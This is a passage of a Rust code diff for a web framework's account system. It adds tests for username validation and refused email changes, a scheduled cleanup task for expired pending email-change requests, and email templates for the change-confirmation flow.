629 +
630 + // ── create_user: reserved name rejected by strict gate ──────────────────
631 +
632 + #[tokio::test]
633 + async fn create_user_reserved_name_returns_validation_error() {
634 + let db = test_db().await;
635 + let unique = Uuid::new_v4().simple().to_string();
636 + let result = UserService::create_user(
637 + &db,
638 + "admin".to_string(),
639 + format!("admin-strict-{}@example.com", &unique[..8]),
640 + "irrelevant-hash".to_string(),
641 + false,
642 + )
643 + .await;
644 + assert!(
645 + matches!(result, Err(AppError::Validation(_))),
646 + "'admin' must be rejected by strict create_user"
647 + );
648 + }
649 +
650 + // ── create_user_allow_reserved: bootstrap accepts reserved name ──────────
651 +
652 + #[tokio::test]
653 + async fn create_user_allow_reserved_accepts_admin() {
654 + let db = test_db().await;
655 + let unique = Uuid::new_v4().simple().to_string();
656 + // If an "admin" user already exists (real deploy data or a previous
657 + // test run), skip rather than deleting it — tests must never destroy
658 + // data they did not create (FK cascade would wipe teams, PAT, etc.).
659 + if UserService::get_user_by_username(&db, "admin")
660 + .await
661 + .unwrap()
662 + .is_some()
663 + {
664 + return;
665 + }
666 + let result = UserService::create_user_allow_reserved(
667 + &db,
668 + "admin".to_string(),
669 + format!("admin-bootstrap-{}@example.com", &unique[..8]),
670 + dummy_hash().await,
671 + false,
672 + )
673 + .await;
674 + assert!(
675 + result.is_ok(),
676 + "bootstrap path must accept reserved name 'admin': {:?}",
677 + result.err()
678 + );
679 + let created = result.unwrap();
680 + assert_eq!(created.username, "admin");
681 + // Clean up only the row this test created (by the id we hold).
682 + created.delete(&db).await.unwrap();
683 + }
684 +
685 + // ── grandfathering: pre-RFC accounts must remain usable ─────────────────
686 +
687 + #[tokio::test]
688 + async fn grandfather_load_and_profile_update_work() {
689 + let db = test_db().await;
690 + let unique = Uuid::new_v4().simple().to_string();
691 + // Use an underscore username to simulate a pre-RFC (grandfathered) account.
692 + let legacy_username = format!("john_doe_{}", &unique[..8]);
693 + let legacy_id = Uuid::new_v4();
694 + let now = Utc::now();
695 +
696 + // Insert directly, bypassing Username::parse (simulates a pre-RFC row).
697 + user::ActiveModel {
698 + id: Set(legacy_id),
699 + username: Set(legacy_username.clone()),
700 + email: Set(format!("johndoe-{}@legacy.example.com", &unique[..8])),
701 + password_hash: Set("hashed".to_string()),
702 + must_change_password: Set(false),
703 + last_login_at: NotSet,
704 + last_login_ip: NotSet,
705 + password_changed_at: NotSet,
706 + email_verified: Set(false),
707 + email_verified_at: NotSet,
708 + created_at: Set(now),
709 + updated_at: Set(now),
710 + ap_public_key_pem: NotSet,
711 + ap_private_key_pem: NotSet,
712 + ap_discoverable: NotSet,
713 + }
714 + .insert(&db)
715 + .await
716 + .unwrap();
717 +
718 + // Grandfathered account must still be loadable.
719 + let loaded = UserService::get_user_by_username(&db, &legacy_username)
720 + .await
721 + .unwrap();
722 + assert!(loaded.is_some(), "grandfathered user must be loadable");
723 +
724 + // RFC 0041: echoing the stored address is a no-op and must not touch
725 + // or re-validate the username.
726 + let legacy_email = format!("johndoe-{}@legacy.example.com", &unique[..8]);
727 + let updated = UserService::update_profile(&db, legacy_id, None, Some(legacy_email.clone()))
728 + .await
729 + .unwrap();
730 + assert_eq!(
731 + updated.username, legacy_username,
732 + "username must be unchanged after an email echo"
733 + );
734 + assert_eq!(updated.email, legacy_email);
735 +
736 + // Echoing the same out-of-charset username (form POST round-trip) is a no-op.
737 + let result =
738 + UserService::update_profile(&db, legacy_id, Some(legacy_username.clone()), None).await;
739 + assert!(
740 + result.is_ok(),
741 + "echoing same out-of-charset username must succeed (grandfathering no-op)"
742 + );
743 + assert_eq!(
744 + result.unwrap().username,
745 + legacy_username,
746 + "username must still be unchanged after echo no-op"
747 + );
748 + }
749 +
750 + // ── rename validation ────────────────────────────────────────────────────
751 +
752 + #[tokio::test]
753 + async fn rename_invalid_or_reserved_is_rejected() {
754 + let db = test_db().await;
755 + let unique = Uuid::new_v4().simple().to_string();
756 + let username = format!("renametest-{}", &unique[..8]);
757 + let email = format!("renametest-{}@example.com", &unique[..8]);
758 + let user_model = UserService::create_user(
759 + &db,
760 + username.clone(),
761 + email.clone(),
762 + dummy_hash().await,
763 + false,
764 + )
765 + .await
766 + .unwrap();
767 +
768 + // RFC 0038: mark verified so the username-only rename below can prove
769 + // it never touches the verification flags.
770 + let mut active: user::ActiveModel = user_model.clone().into();
771 + active.email_verified = Set(true);
772 + active.email_verified_at = Set(Some(Utc::now()));
773 + active.update(&db).await.unwrap();
774 +
775 + // Uppercase → Validation error.
776 + assert!(
777 + matches!(
778 + UserService::update_profile(&db, user_model.id, Some("Not-Valid".into()), None)
779 + .await,
780 + Err(AppError::Validation(_))
781 + ),
782 + "uppercase username must be rejected on rename"
783 + );
784 +
785 + // Reserved name → Validation error.
786 + assert!(
787 + matches!(
788 + UserService::update_profile(&db, user_model.id, Some("api".into()), None).await,
789 + Err(AppError::Validation(_))
790 + ),
791 + "reserved name 'api' must be rejected on rename"
792 + );
793 +
794 + // Valid rename → accepted.
795 + let new_name = format!("renamed-{}", &unique[..8]);
796 + let renamed = UserService::update_profile(&db, user_model.id, Some(new_name.clone()), None)
797 + .await
798 + .unwrap();
799 + assert_eq!(renamed.username, new_name, "valid rename must succeed");
800 +
801 + // RFC 0038: a username-only rename must leave the email and its
802 + // verification flags intact, and must not queue any email.
803 + assert_eq!(renamed.email, email, "email must be unchanged after rename");
804 + assert!(
805 + renamed.email_verified,
806 + "username-only rename must not clear email_verified"
807 + );
808 + assert!(
809 + renamed.email_verified_at.is_some(),
810 + "username-only rename must not clear email_verified_at"
811 + );
812 + assert!(
813 + queue_entries_for(&db, &email).await.is_empty(),
814 + "username-only rename must not enqueue any email from the service"
815 + );
816 + }
817 +
818 + // ── RFC 0041: `update_profile` never writes `users.email` ───────────────
819 +
820 + /// Return every `email_queue` row addressed to `to_email`.
821 + async fn queue_entries_for(db: &DatabaseConnection, to_email: &str) -> Vec<email_queue::Model> {
822 + email_queue::Entity::find()
823 + .filter(email_queue::Column::ToEmail.eq(to_email))
824 + .all(db)
825 + .await
826 + .unwrap()
827 + }
828 +
829 + /// Create a user with a unique name/address and mark it email-verified.
830 + async fn create_verified_user(db: &DatabaseConnection, prefix: &str) -> (user::Model, String) {
831 + let unique = Uuid::new_v4().simple().to_string();
832 + let email = format!("{}-{}@example.com", prefix, &unique[..8]);
833 + let created = UserService::create_user(
834 + db,
835 + format!("{}-{}", prefix, &unique[..8]),
836 + email.clone(),
837 + dummy_hash().await,
838 + false,
839 + )
840 + .await
841 + .unwrap();
842 +
843 + // Simulate a clicked validation link.
844 + let mut active: user::ActiveModel = created.clone().into();
845 + active.email_verified = Set(true);
846 + active.email_verified_at = Set(Some(Utc::now()));
847 + let verified = active.update(db).await.unwrap();
848 + (verified, email)
849 + }
850 +
851 + /// Assert an `update_profile` result is the RFC 0041 refusal, and return
852 + /// nothing: the message must name the service that owns the flow so a
853 + /// consumer hitting it knows where to go.
854 + fn assert_refused_towards_email_change_service(result: Result<user::Model, AppError>) {
855 + match result {
856 + Err(AppError::Validation(msg)) => assert!(
857 + msg.contains("EmailChangeService"),
858 + "refusal must point at EmailChangeService, got: {msg}"
859 + ),
860 + other => panic!("expected AppError::Validation, got {other:?}"),
861 + }
862 + }
863 +
864 + /// A real email change is refused: nothing is written, nothing is queued,
865 + /// and the verification flags stay untouched.
866 + #[tokio::test]
867 + async fn email_change_is_refused_and_points_at_email_change_service() {
868 + let db = test_db().await;
869 + let unique = Uuid::new_v4().simple().to_string();
870 + let (user_model, old_email) = create_verified_user(&db, "emailchg").await;
871 + let new_email = format!("emailchg-new-{}@example.com", &unique[..8]);
872 +
873 + let result =
874 + UserService::update_profile(&db, user_model.id, None, Some(new_email.clone())).await;
875 + assert_refused_towards_email_change_service(result);
876 +
877 + let reloaded = UserService::get_user_by_id(&db, user_model.id)
878 + .await
879 + .unwrap()
880 + .unwrap();
881 + assert_eq!(reloaded.email, old_email, "email must be unchanged");
882 + assert!(
883 + reloaded.email_verified,
884 + "a refused change must not un-verify the account"
885 + );
886 + assert!(reloaded.email_verified_at.is_some());
887 + assert!(
888 + queue_entries_for(&db, &new_email).await.is_empty(),
889 + "no email must be queued by update_profile"
890 + );
891 + assert!(
892 + queue_entries_for(&db, &old_email).await.is_empty(),
893 + "no alert must be queued by update_profile"
894 + );
895 +
896 + reloaded.delete(&db).await.unwrap();
897 + }
898 +
899 + /// An administrator caller gets the exact same refusal: there is no
900 + /// dérogation branch inside `update_profile`, only `admin_force_change`.
901 + #[tokio::test]
902 + async fn email_change_is_refused_for_admin_accounts_too() {
903 + let db = test_db().await;
904 + let unique = Uuid::new_v4().simple().to_string();
905 + let (admin_model, admin_email) = create_verified_user(&db, "emailadm").await;
906 +
907 + // Promote the account to the `admin` role when the RBAC seed is
908 + // present: the strongest caller the framework knows about.
909 + if let Ok(Some(admin_role)) =
910 + crate::services::role_service::RoleService::get_role_by_name(&db, "admin").await
911 + {
912 + UserService::assign_role_to_user(&db, admin_model.id, admin_role.id)
913 + .await
914 + .unwrap();
915 + }
916 +
917 + let target = format!("emailadm-new-{}@example.com", &unique[..8]);
918 + let result = UserService::update_profile(&db, admin_model.id, None, Some(target)).await;
919 + assert_refused_towards_email_change_service(result);
920 +
921 + let reloaded = UserService::get_user_by_id(&db, admin_model.id)
922 + .await
923 + .unwrap()
924 + .unwrap();
925 + assert_eq!(reloaded.email, admin_email, "email must be unchanged");
926 +
927 + reloaded.delete(&db).await.unwrap();
928 + }
929 +
930 + /// An invalid address goes through the same branch: refused, no write.
931 + #[tokio::test]
932 + async fn email_change_invalid_format_rejected_without_side_effects() {
933 + let db = test_db().await;
934 + let (user_model, email) = create_verified_user(&db, "emailfmt").await;
935 +
936 + let result =
937 + UserService::update_profile(&db, user_model.id, None, Some("not-an-email".into()))
938 + .await;
939 + assert_refused_towards_email_change_service(result);
940 +
941 + let reloaded = UserService::get_user_by_id(&db, user_model.id)
942 + .await
943 + .unwrap()
944 + .unwrap();
945 + assert_eq!(reloaded.email, email, "email must be unchanged");
946 + assert!(reloaded.email_verified, "flags must be untouched");
947 + assert!(reloaded.email_verified_at.is_some());
948 + assert!(
949 + queue_entries_for(&db, "not-an-email").await.is_empty(),
950 + "no email must be queued on a rejected update"
951 + );
952 +
953 + reloaded.delete(&db).await.unwrap();
954 + }
955 +
956 + /// An address already owned by another account is refused without
957 + /// un-verifying the caller — uniqueness is re-checked by
958 + /// `EmailChangeService` at request *and* confirmation time.
959 + #[tokio::test]
960 + async fn email_change_to_taken_address_rejected_without_unverify() {
961 + let db = test_db().await;
962 + let (owner, taken_email) = create_verified_user(&db, "emailowner").await;
963 + let (caller, caller_email) = create_verified_user(&db, "emailcaller").await;
964 +
965 + let result =
966 + UserService::update_profile(&db, caller.id, None, Some(taken_email.clone())).await;
967 + assert_refused_towards_email_change_service(result);
968 +
969 + let reloaded = UserService::get_user_by_id(&db, caller.id)
970 + .await
971 + .unwrap()
972 + .unwrap();
973 + assert_eq!(
974 + reloaded.email, caller_email,
975 + "caller email must be unchanged"
976 + );
977 + assert!(
978 + reloaded.email_verified,
979 + "caller must not be un-verified by a rejected change"
980 + );
981 + assert!(reloaded.email_verified_at.is_some());
982 + assert!(
983 + queue_entries_for(&db, &taken_email).await.is_empty(),
984 + "no email must be queued on a rejected update"
985 + );
986 +
987 + reloaded.delete(&db).await.unwrap();
988 + owner.delete(&db).await.unwrap();
989 + }
990 +
991 + /// Echoing the current address (exact match after trim) stays a no-op:
992 + /// profile forms submit every field, so an unchanged value must not be
993 + /// mistaken for a change request.
994 + #[tokio::test]
995 + async fn email_echo_same_address_is_noop() {
996 + let db = test_db().await;
997 + let (user_model, email) = create_verified_user(&db, "emailnoop").await;
998 +
999 + // Exact echo.
1000 + let echoed = UserService::update_profile(&db, user_model.id, None, Some(email.clone()))
1001 + .await
1002 + .unwrap();
1003 + assert_eq!(echoed.email, email);
1004 + assert!(
1005 + echoed.email_verified,
1006 + "echoing the same email must keep email_verified=true"
1007 + );
1008 + assert!(echoed.email_verified_at.is_some());
1009 +
1010 + // Whitespace-padded echo: trimmed comparison → still a no-op.
1011 + let padded =
1012 + UserService::update_profile(&db, user_model.id, None, Some(format!(" {} ", email)))
1013 + .await
1014 + .unwrap();
1015 + assert_eq!(
1016 + padded.email, email,
1017 + "padded echo must not alter the stored email"
1018 + );
1019 + assert!(
1020 + padded.email_verified,
1021 + "padded echo must keep email_verified=true"
1022 + );
1023 + assert!(padded.email_verified_at.is_some());
1024 +
1025 + assert!(
1026 + queue_entries_for(&db, &email).await.is_empty(),
1027 + "no email must be queued on a no-op echo"
1028 + );
1029 +
1030 + padded.delete(&db).await.unwrap();
1031 + }
1032 +
1033 + /// Non-regression: the signature is unchanged by RFC 0041, so consumer
1034 + /// code keeps compiling. All four call shapes are exercised, the two
1035 + /// carrying an email echoing the current address.
1036 + #[tokio::test]
1037 + async fn update_profile_accepts_the_four_pre_rfc_call_shapes() {
1038 + let db = test_db().await;
1039 + let unique = Uuid::new_v4().simple().to_string();
1040 + let (user_model, email) = create_verified_user(&db, "emailsig").await;
1041 +
1042 + // (None, None): nothing to do.
1043 + let untouched = UserService::update_profile(&db, user_model.id, None, None)
1044 + .await
1045 + .unwrap();
1046 + assert_eq!(untouched.username, user_model.username);
1047 +
1048 + // (None, Some(current)): no-op echo.
1049 + UserService::update_profile(&db, user_model.id, None, Some(email.clone()))
1050 + .await
1051 + .unwrap();
1052 +
1053 + // (Some, None): username-only rename.
1054 + let renamed_name = format!("emailsig-r-{}", &unique[..8]);
1055 + let renamed =
1056 + UserService::update_profile(&db, user_model.id, Some(renamed_name.clone()), None)
1057 + .await
1058 + .unwrap();
1059 + assert_eq!(renamed.username, renamed_name);
1060 +
1061 + // (Some, Some(current)): rename with the email field echoed back.
1062 + let renamed_again = format!("emailsig-r2-{}", &unique[..8]);
1063 + let final_user = UserService::update_profile(
1064 + &db,
1065 + user_model.id,
1066 + Some(renamed_again.clone()),
1067 + Some(email.clone()),
1068 + )
1069 + .await
1070 + .unwrap();
1071 + assert_eq!(final_user.username, renamed_again);
1072 + assert_eq!(final_user.email, email);
1073 + assert!(final_user.email_verified);
1074 +
1075 + final_user.delete(&db).await.unwrap();
1076 + }
1077 +}
M crates/rustwarden-core/src/tasks/mod.rs
+1 -0
@@ -6,4 +6,5 @@
6 6 pub mod email_queue_processor;
7 7 pub mod password_change_cleanup;
8 8 pub mod password_change_email_retry;
9 +pub mod pending_email_change_cleanup;
9 10 pub mod personal_token_cleanup;
A crates/rustwarden-core/src/tasks/pending_email_change_cleanup.rs
+216 -0
@@ -0,0 +1,216 @@
1 +//! Pending email-change cleanup task (RFC 0041).
2 +//!
3 +//! Periodically hard-deletes `pending_email_changes` rows expired for longer
4 +//! than the retention window. See
5 +//! [`EmailChangeService::cleanup_expired`](crate::services::email_change_service::EmailChangeService::cleanup_expired)
6 +//! for the exact predicate.
7 +
8 +use crate::services::email_change_service::EmailChangeService;
9 +use sea_orm::DatabaseConnection;
10 +use std::sync::Arc;
11 +use tokio::time::Duration;
12 +
13 +/// Interval between two purge ticks, in seconds (1 h).
14 +///
15 +/// A compile-time constant, unlike
16 +/// [`PersonalTokenCleanupProcessor`](crate::tasks::personal_token_cleanup::PersonalTokenCleanupProcessor)
17 +/// which reads `PERSONAL_TOKEN_CLEANUP_INTERVAL_SECS`: RFC 0041 adds no
18 +/// environment variable, and the cadence of a 30-day-horizon purge has no
19 +/// reason to be tuned finely.
20 +pub const PENDING_EMAIL_CHANGE_CLEANUP_INTERVAL_SECS: u64 = 3600;
21 +
22 +/// Background processor that hard-deletes `pending_email_changes` rows
23 +/// expired for longer than the retention window.
24 +///
25 +/// Mirrors [`PersonalTokenCleanupProcessor`](crate::tasks::personal_token_cleanup::PersonalTokenCleanupProcessor):
26 +/// **the framework never starts it**. `app.rs` leaves it alone on purpose —
27 +/// the consumer owns its scheduling policy and calls [`Self::start`] if it
28 +/// wants the purge. Nothing breaks when it is never started: rows simply
29 +/// accumulate, and the opportunistic purge performed by
30 +/// [`EmailChangeService::request_change`](crate::services::email_change_service::EmailChangeService::request_change)
31 +/// keeps the common case bounded.
32 +///
33 +/// ```rust,ignore
34 +/// use std::sync::Arc;
35 +/// use rustwarden_core::tasks::pending_email_change_cleanup::PendingEmailChangeCleanupProcessor;
36 +///
37 +/// // The framework does NOT do this for you — call `.start()` yourself.
38 +/// PendingEmailChangeCleanupProcessor::new(db.clone()).start();
39 +/// ```
40 +pub struct PendingEmailChangeCleanupProcessor {
41 + db: Arc<DatabaseConnection>,
42 +}
43 +
44 +impl PendingEmailChangeCleanupProcessor {
45 + /// Create a processor bound to the given database connection.
46 + ///
47 + /// ```rust,ignore
48 + /// use std::sync::Arc;
49 + /// use rustwarden_core::tasks::pending_email_change_cleanup::PendingEmailChangeCleanupProcessor;
50 + ///
51 + /// let processor = PendingEmailChangeCleanupProcessor::new(Arc::clone(&db));
52 + /// ```
53 + pub fn new(db: Arc<DatabaseConnection>) -> Self {
54 + Self { db }
55 + }
56 +
57 + /// Spawn the cleanup loop. First tick fires immediately (to purge stale
58 + /// rows on process start), then every
59 + /// [`PENDING_EMAIL_CHANGE_CLEANUP_INTERVAL_SECS`].
60 + ///
61 + /// ```rust,ignore
62 + /// use std::sync::Arc;
63 + /// use rustwarden_core::tasks::pending_email_change_cleanup::PendingEmailChangeCleanupProcessor;
64 + ///
65 + /// PendingEmailChangeCleanupProcessor::new(Arc::clone(&db)).start();
66 + /// ```
67 + pub fn start(self) {
68 + tokio::spawn(async move {
69 + let mut ticker = tokio::time::interval(Duration::from_secs(
70 + PENDING_EMAIL_CHANGE_CLEANUP_INTERVAL_SECS,
71 + ));
72 + ticker.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay);
73 + loop {
74 + ticker.tick().await;
75 + match EmailChangeService::cleanup_expired(&self.db).await {
76 + Ok(0) => {}
77 + Ok(n) => tracing::info!(
78 + "pending email-change cleanup: deleted {} stale request(s)",
79 + n
80 + ),
81 + Err(e) => tracing::error!("pending email-change cleanup failed: {}", e),
82 + }
83 + }
84 + });
85 + }
86 +}
87 +
88 +#[cfg(test)]
89 +mod tests {
90 + use super::*;
91 + use crate::models::{pending_email_change, user};
92 + use crate::services::email_change_service::{
93 + PENDING_EMAIL_CHANGE_RETENTION_DAYS, RETENTION_GUARD,
94 + };
95 + use chrono::Utc;
96 + use sea_orm::{ActiveModelTrait, EntityTrait, Set};
97 + use uuid::Uuid;
98 +
99 + async fn test_db() -> DatabaseConnection {
100 + dotenvy::dotenv().ok();
101 + let url = std::env::var("DATABASE_URL")
102 + .expect("DATABASE_URL required for pending_email_change_cleanup tests");
103 + sea_orm::Database::connect(&url)
104 + .await
105 + .expect("connect to the test database")
106 + }
107 +
108 + /// Insert a row already past the retention window, bypassing the service:
109 + /// this test is about the processor, not about how the row was born.
110 + async fn stale_row(db: &DatabaseConnection, user_id: Uuid) -> Uuid {
111 + let id = Uuid::new_v4();
112 + let now = Utc::now();
113 + pending_email_change::ActiveModel {
114 + id: Set(id),
115 + user_id: Set(user_id),
116 + new_email: Set(format!("stale-{}@example.test", Uuid::new_v4().simple())),
117 + token_hash: Set(format!("{:064x}", Uuid::new_v4().as_u128())),
118 + report_token_hash: Set(format!("{:064x}", Uuid::new_v4().as_u128())),
119 + expires_at: Set(now - chrono::Duration::days(PENDING_EMAIL_CHANGE_RETENTION_DAYS + 1)),
120 + used_at: sea_orm::NotSet,
121 + reported_at: sea_orm::NotSet,
122 + created_at: Set(now - chrono::Duration::days(PENDING_EMAIL_CHANGE_RETENTION_DAYS + 2)),
123 + }
124 + .insert(db)
125 + .await
126 + .expect("insert a stale row");
127 + id
128 + }
129 +
130 + async fn row_exists(db: &DatabaseConnection, id: Uuid) -> bool {
131 + pending_email_change::Entity::find_by_id(id)
132 + .one(db)
133 + .await
134 + .expect("query pending_email_changes")
135 + .is_some()
136 + }
137 +
138 + /// Own the fixture rather than borrowing an existing account: the purge
139 + /// is global, so a test that leans on someone else's row is a test that
140 + /// depends on what the database happens to contain.
141 + async fn throwaway_user(db: &DatabaseConnection) -> Uuid {
142 + let id = Uuid::new_v4();
143 + let tag = Uuid::new_v4().simple().to_string();
144 + let now = Utc::now();
145 + user::ActiveModel {
146 + id: Set(id),
147 + username: Set(format!("cleanup-{tag}")),
148 + email: Set(format!("cleanup-{tag}@example.test")),
149 + password_hash: Set(
150 + "$2b$12$notarealhashnotarealhashnotarealhashnotarealhashnotar".to_string(),
151 + ),
152 + must_change_password: Set(false),
153 + email_verified: Set(true),
154 + email_verified_at: Set(Some(now)),
155 + created_at: Set(now),
156 + updated_at: Set(now),
157 + ap_discoverable: Set(true),
158 + ..Default::default()
159 + }
160 + .insert(db)
161 + .await
162 + .expect("insert a throwaway user");
163 + id
164 + }
165 +
166 + /// The first tick fires immediately, so a process that starts after a long
167 + /// downtime purges on boot instead of waiting an hour.
168 + #[tokio::test]
169 + async fn the_first_tick_purges_without_waiting_for_the_interval() {
170 + let _serialised = RETENTION_GUARD.lock().await;
171 + let db = test_db().await;
172 + let user_id = throwaway_user(&db).await;
173 + let id = stale_row(&db, user_id).await;
174 +
175 + PendingEmailChangeCleanupProcessor::new(Arc::new(db.clone())).start();
176 +
177 + // Poll rather than sleep a fixed amount: the first tick is immediate,
178 + // only the round-trip to PostgreSQL takes a measurable moment.
179 + let mut purged = false;
180 + for _ in 0..50 {
181 + if !row_exists(&db, id).await {
182 + purged = true;
183 + break;
184 + }
185 + tokio::time::sleep(Duration::from_millis(40)).await;
186 + }
187 +
188 + assert!(
189 + purged,
190 + "the processor's first tick must delete rows past retention"
191 + );
192 +
193 + // The FK cascades, so removing the user removes any leftover row.
194 + user::Entity::delete_by_id(user_id)
195 + .exec(&db)
196 + .await
197 + .expect("drop the throwaway user");
198 + }
199 +
200 + /// The framework must never schedule this purge on the consumer's behalf:
201 + /// deciding when personal data leaves the database is the consumer's call,
202 + /// and an auto-started task would silently take that decision away. Source
203 + /// inspection rather than behaviour, because `start_background_tasks`
204 + /// spawns detached tasks whose absence cannot be observed from the outside
205 + /// (same approach as `auth::email_change_pages`).
206 + #[test]
207 + fn start_background_tasks_does_not_start_the_purge() {
208 + let app_source = include_str!("../app.rs");
209 + assert!(
210 + !app_source.contains("PendingEmailChangeCleanupProcessor"),
211 + "app.rs must not start the purge: RFC 0041 leaves the retention \
212 + policy to the consumer (see the processor's rustdoc and \
213 + MIGRATION_GUIDE.md)"
214 + );
215 + }
216 +}
M crates/rustwarden-core/src/templates/email_templates.rs
+366 -0
@@ -1308,3 +1308,369 @@ mod welcome_email_template_tests {
1308 1308 assert!(text.contains("https://example.com/login"));
1309 1309 }
1310 1310 }
1311 +
1312 +// ── Email change (RFC 0041) ─────────────────────────────────────────────────
1313 +//
1314 +// Unlike the older templates above, these four carry **already translated**
1315 +// fields: the service resolves every string through `I18nService` (or its
1316 +// embedded fallbacks) before building the struct. Six locales are therefore
1317 +// supported without a single `{% if locale == … %}` branch, and a headless
1318 +// consumer without any locale file still gets a complete email.
1319 +
1320 +/// Confirmation email sent to the **candidate** address (RFC 0041).
1321 +///
1322 +/// Carries the only link that can apply the change. All textual fields are
1323 +/// pre-translated by [`EmailChangeService`](crate::services::email_change_service::EmailChangeService).
1324 +#[derive(Template)]
1325 +#[template(path = "emails/email_change_validation.html", escape = "html")]
1326 +pub struct EmailChangeValidationTemplate {
1327 + /// Recipient locale, emitted as the document `lang` attribute.
1328 + pub locale: String,
1329 + /// Application name shown in the header and footer.
1330 + pub app_name: String,
1331 + /// Translated subject/title.
1332 + pub title: String,
1333 + /// Translated greeting line.
1334 + pub greeting: String,
1335 + /// Translated introduction explaining the pending request.
1336 + pub intro: String,
1337 + /// Translated validity notice.
1338 + pub expires: String,
1339 + /// Translated "ignore this message" notice.
1340 + pub ignore_notice: String,
1341 + /// Translated call-to-action label.
1342 + pub button_label: String,
1343 + /// Absolute URL of the confirmation page (`GET` interstitial).
1344 + pub confirm_url: String,
1345 + /// Translated "button not working?" label.
1346 + pub fallback_label: String,
1347 + /// Translated footer line.
1348 + pub footer: String,
1349 + /// Current year for the copyright line.
1350 + pub current_year: i32,
1351 +}
1352 +
1353 +impl EmailChangeValidationTemplate {
1354 + /// Render the HTML body.
1355 + ///
1356 + /// # Errors
1357 + ///
1358 + /// Returns an error if template rendering fails.
1359 + pub fn render_html(&self) -> Result<String, askama::Error> {
1360 + self.render()
1361 + }
1362 +
1363 + /// Render the plain-text body from the same pre-translated fields.
1364 + pub fn render_text(&self) -> String {
1365 + format!(
1366 + "{}\n\n{}\n\n{}\n\n{}\n{}\n\n{}\n{}\n\n{}\n© {} {}\n",
1367 + self.title,
1368 + self.greeting,
1369 + self.intro,
1370 + self.button_label,
1371 + self.confirm_url,
1372 + self.expires,
1373 + self.ignore_notice,
1374 + self.footer,
1375 + self.current_year,
1376 + self.app_name,
1377 + )
1378 + }
1379 +}
1380 +
1381 +/// Notice sent to the **current** address when a change is requested (RFC 0041).
1382 +///
1383 +/// Never carries the confirmation link: the only link here opens the report
1384 +/// page. The candidate address appears masked.
1385 +#[derive(Template)]
1386 +#[template(path = "emails/email_change_notice.html", escape = "html")]
1387 +pub struct EmailChangeNoticeTemplate {
1388 + /// Recipient locale, emitted as the document `lang` attribute.
1389 + pub locale: String,
1390 + /// Application name shown in the header and footer.
1391 + pub app_name: String,
1392 + /// Translated subject/title.
1393 + pub title: String,
1394 + /// Translated greeting line.
1395 + pub greeting: String,
1396 + /// Translated introduction, carrying the **masked** candidate address.
1397 + pub intro: String,
1398 + /// Translated reminder that the account itself has not changed.
1399 + pub unchanged: String,
1400 + /// Translated invitation to report the request.
1401 + pub report_intro: String,
1402 + /// Translated call-to-action label.
1403 + pub button_label: String,
1404 + /// Absolute URL of the report page (`GET` interstitial).
1405 + pub report_url: String,
1406 + /// Translated "button not working?" label.
1407 + pub fallback_label: String,
1408 + /// Translated footer line.
1409 + pub footer: String,
1410 + /// Current year for the copyright line.
1411 + pub current_year: i32,
1412 +}
1413 +
1414 +impl EmailChangeNoticeTemplate {
1415 + /// Render the HTML body.
1416 + ///
1417 + /// # Errors
1418 + ///
1419 + /// Returns an error if template rendering fails.
1420 + pub fn render_html(&self) -> Result<String, askama::Error> {
1421 + self.render()
1422 + }
1423 +
1424 + /// Render the plain-text body from the same pre-translated fields.
1425 + pub fn render_text(&self) -> String {
1426 + format!(
1427 + "{}\n\n{}\n\n{}\n\n{}\n\n{}\n\n{}\n{}\n\n{}\n© {} {}\n",
1428 + self.title,
1429 + self.greeting,
1430 + self.intro,
1431 + self.unchanged,
1432 + self.report_intro,
1433 + self.button_label,
1434 + self.report_url,
1435 + self.footer,
1436 + self.current_year,
1437 + self.app_name,
1438 + )
1439 + }
1440 +}
1441 +
1442 +/// Alert sent to every administrator when a user reports a request (RFC 0041).
1443 +///
1444 +/// Both addresses are masked: the durable trail lives in `audit_logs`, an
1445 +/// operator mailbox does not need the clear-text values.
1446 +#[derive(Template)]
1447 +#[template(path = "emails/email_change_reported_admin.html", escape = "html")]
1448 +pub struct EmailChangeReportedAdminTemplate {
1449 + /// Recipient locale, emitted as the document `lang` attribute.
1450 + pub locale: String,
1451 + /// Application name shown in the header and footer.
1452 + pub app_name: String,
1453 + /// Translated subject/title.
1454 + pub title: String,
1455 + /// Translated introduction naming the reporting user.
1456 + pub intro: String,
1457 + /// Translated details line: masked addresses and report timestamp.
1458 + pub details: String,
1459 + /// Translated reminder that the change is **not** blocked by the report.
1460 + pub not_blocked: String,
1461 + /// Translated footer line.
1462 + pub footer: String,
1463 + /// Current year for the copyright line.
1464 + pub current_year: i32,
1465 +}
1466 +
1467 +impl EmailChangeReportedAdminTemplate {
1468 + /// Render the HTML body.
1469 + ///
1470 + /// # Errors
1471 + ///
1472 + /// Returns an error if template rendering fails.
1473 + pub fn render_html(&self) -> Result<String, askama::Error> {
1474 + self.render()
1475 + }
1476 +
1477 + /// Render the plain-text body from the same pre-translated fields.
1478 + pub fn render_text(&self) -> String {
1479 + format!(
1480 + "{}\n\n{}\n\n{}\n\n{}\n\n{}\n© {} {}\n",
1481 + self.title,
1482 + self.intro,
1483 + self.details,
1484 + self.not_blocked,
1485 + self.footer,
1486 + self.current_year,
1487 + self.app_name,
1488 + )
1489 + }
1490 +}
1491 +
1492 +/// Notification of an operator-forced change (RFC 0041).
1493 +///
1494 +/// Sent to **both** the previous and the new address by
1495 +/// [`EmailChangeService::admin_force_change`](crate::services::email_change_service::EmailChangeService::admin_force_change).
1496 +/// Carries no action link: there is nothing left to confirm or report.
1497 +#[derive(Template)]
1498 +#[template(path = "emails/email_change_by_admin.html", escape = "html")]
1499 +pub struct EmailChangeByAdminTemplate {
1500 + /// Recipient locale, emitted as the document `lang` attribute.
1501 + pub locale: String,
1502 + /// Application name shown in the header and footer.
1503 + pub app_name: String,
1504 + /// Translated subject/title.
1505 + pub title: String,
1506 + /// Translated greeting line.
1507 + pub greeting: String,
1508 + /// Translated introduction stating an administrator made the change.
1509 + pub intro: String,
1510 + /// Translated details line with both **masked** addresses.
1511 + pub details: String,
1512 + /// Translated support notice.
1513 + pub support: String,
1514 + /// Translated footer line.
1515 + pub footer: String,
1516 + /// Current year for the copyright line.
1517 + pub current_year: i32,
1518 +}
1519 +
1520 +impl EmailChangeByAdminTemplate {
1521 + /// Render the HTML body.
1522 + ///
1523 + /// # Errors
1524 + ///
1525 + /// Returns an error if template rendering fails.
1526 + pub fn render_html(&self) -> Result<String, askama::Error> {
1527 + self.render()
1528 + }
1529 +
1530 + /// Render the plain-text body from the same pre-translated fields.
1531 + pub fn render_text(&self) -> String {
1532 + format!(
1533 + "{}\n\n{}\n\n{}\n\n{}\n\n{}\n\n{}\n© {} {}\n",
